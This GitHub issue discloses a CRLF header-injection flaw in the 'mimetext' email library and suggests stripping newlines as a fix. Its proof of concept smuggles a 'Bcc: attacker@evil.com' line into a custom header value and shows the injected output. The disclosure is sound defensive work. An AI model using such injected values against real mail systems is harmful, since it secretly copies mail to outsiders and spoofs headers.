-
-
Notifications
You must be signed in to change notification settings - Fork 40
Open
Description
The Problem
Custom headers set via setHeader() accept newline characters without sanitization. An attacker who controls header values can inject additional headers into the MIME message.
How It Works
When you call msg.setHeader('In-Reply-To', userInput), the library stores that value and dumps it directly into the final message:
// MIMEMessageHeader.ts - custom header handling
return this.setCustom({
name: name,
value: value,
custom: true,
dump: (v: unknown) => (typeof v === "string" ? v : ""), // no filtering
});Compare this to how Subject is handled:
dump: (v) => "=?utf-8?B?" + this.envctx.toBase64(v) + "?=" // encodedSubject gets base64 encoding. Custom headers get nothing.
Proof of Concept
import { MIMEMessage } from 'mimetext'
const msg = new MIMEMessage()
msg.setSender('sender@example.com')
msg.setRecipient('recipient@example.com')
msg.setSubject('Normal subject')
// Malicious input
msg.setHeader('In-Reply-To', '<legit@msg.id>\r\nBcc: attacker@evil.com')
console.log(msg.asRaw())Output:
From: sender@example.com
To: recipient@example.com
Subject: Normal subject
In-Reply-To: <legit@msg.id>
Bcc: attacker@evil.com
...
The injected Bcc header becomes part of the message.
What an Attacker Can Do
- Add hidden recipients via BCC injection
- Spoof arbitrary headers
- Manipulate how mail servers process the message
Affected Headers
Any header set through setHeader(). Common targets:
In-Reply-ToReferencesX-*custom headers
Suggested Fix
Strip CR/LF from custom header values:
dump: (v: unknown) => (typeof v === "string" ? v.replace(/[\r\n]/g, ' ').trim() : ""),Or throw an error if newlines are detected - that might be better since silent sanitization could mask bugs in calling code.
References
- CWE-93: CRLF Injection
- RFC 5322 Section 2.2 - header field format
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels